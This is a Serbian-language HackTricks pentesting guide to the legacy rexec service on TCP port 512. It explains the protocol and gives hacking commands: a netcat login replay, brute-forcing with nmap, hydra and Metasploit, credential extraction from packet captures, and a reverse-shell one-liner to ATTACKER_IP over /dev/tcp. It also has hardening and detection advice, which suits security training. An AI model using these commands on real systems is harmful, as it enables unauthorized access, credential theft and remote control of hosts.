hacktricks/src/network-services-pentesting/512-pentesting-rexec.md

105 lines
4.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 512 - Pentesting Rexec
{{#include ../banners/hacktricks-training.md}}
## Osnovne informacije
Rexec (remote **exec**) je jedan od originalnih Berkeley *r*-servisa (zajedno sa `rlogin`, `rsh`, …). Omogućava **daljinsko izvršavanje komandi** **autentifikovano samo sa korisničkim imenom i lozinkom u čistom tekstu**. Protokol je definisan početkom 1980-ih (vidi RFC 1060) i danas se smatra **nesigurnim po dizajnu**. Ipak, još uvek je podrazumevano omogućen u nekim nasleđenim UNIX / mrežno povezanim uređajima i povremeno se pojavljuje tokom internih pentestova.
**Podrazumevani port:** TCP 512 (`exec`)
```
PORT STATE SERVICE
512/tcp open exec
```
> 🔥 Sav saobraćaj uključujući akreditive se prenosi **nekriptovano**. Svako ko ima mogućnost da prisluškuje mrežu može da povrati korisničko ime, lozinku i komandu.
### Brzi pregled protokola
1. Klijent se povezuje na TCP 512.
2. Klijent šalje tri **NUL-terminirane** stringa:
* broj porta (kao ASCII) na kojem želi da primi stdout/stderr (često `0`),
* **korisničko ime**,
* **lozinku**.
3. Poslednji NUL-terminirani string sa **komandom** koja treba da se izvrši se šalje.
4. Server odgovara sa jednim 8-bitnim statusnim bajtom (0 = uspeh, `1` = neuspeh) praćenim izlazom komande.
To znači da možete ponoviti razmenu sa samo `echo -e` i `nc`:
```bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
```
Ako su akreditivi validni, dobićete izlaz `id` odmah nazad na istoj vezi.
### Ručna upotreba sa klijentom
Mnoge Linux distribucije još uvek isporučuju legacijski klijent unutar paketa **inetutils-rexec** / **rsh-client**:
```bash
rexec -l user -p password <target> "uname -a"
```
Ako je `-p` izostavljen, klijent će interaktivno tražiti lozinku (vidljivu na mreži u čistom tekstu!).
---
## Enumeracija i Brute-forcing
### [**Brute-force**](../generic-hacking/brute-force.md#rexec)
### Nmap
```bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
```
`rexec-brute` NSE koristi protokol opisan iznad da brzo proba kredencijale.
### Hydra / Medusa / Ncrack
```bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
```
`hydra` ima posvećen **rexec** modul i ostaje najbrži offline bruteforcer. `medusa` (`-M REXEC`) i `ncrack` (`rexec` modul) mogu se koristiti na isti način.
### Metasploit
```
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
```
Modul će pokrenuti shell nakon uspeha i sačuvati kredencijale u bazi podataka.
---
## Snimanje kredencijala
Pošto je sve u čistom tekstu, **snimci mreže su neprocenjivi**. Sa kopijom saobraćaja možete izvući kredencijale bez dodirivanja mete:
```bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
```
(In Wireshark omogućite *Decode As …​* TCP 512 → REXEC da biste videli lepo analizirana polja.)
---
## Saveti nakon eksploatacije
* Komande se izvršavaju sa privilegijama datog korisnika. Ako je `/etc/pam.d/rexec` pogrešno konfiguran (npr. `pam_rootok`), root ljuske su ponekad moguće.
* Rexec ignoriše korisničku ljusku i izvršava komandu putem `/bin/sh -c <cmd>`. Stoga možete koristiti tipične trikove za bekstvo iz ljuske (`;`, ``$( )``, backticks) da povežete više komandi ili pokrenete obrnute ljuske:
```bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
```
* Lozinke se često čuvaju u **~/.netrc** na drugim sistemima; ako kompromitujete jedan host, možete ih ponovo koristiti za lateralno kretanje.
---
## Ojačavanje / Detekcija
* **Ne izlažite rexec**; zamenite ga sa SSH. Virtuelno svi moderni *inetd* superserveri podrazumevano komentarišu ovu uslugu.
* Ako ga morate zadržati, ograničite pristup pomoću TCP wrapper-a (`/etc/hosts.allow`) ili pravila vatrozida i primenite jake lozinke po nalogu.
* Pratite saobraćaj ka :512 i pokretanje `rexecd` procesa. Jedan paketni snimak je dovoljan da otkrije kompromitaciju.
* Onemogućite `rexec`, `rlogin`, `rsh` zajedno dele većinu istog koda i slabosti.
---
## Reference
* Nmap NSE `rexec-brute` dokumentacija [https://nmap.org/nsedoc/scripts/rexec-brute.html](https://nmap.org/nsedoc/scripts/rexec-brute.html)
* Rapid7 Metasploit modul `auxiliary/scanner/rservices/rexec_login` [https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login](https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login)
{{#include ../banners/hacktricks-training.md}}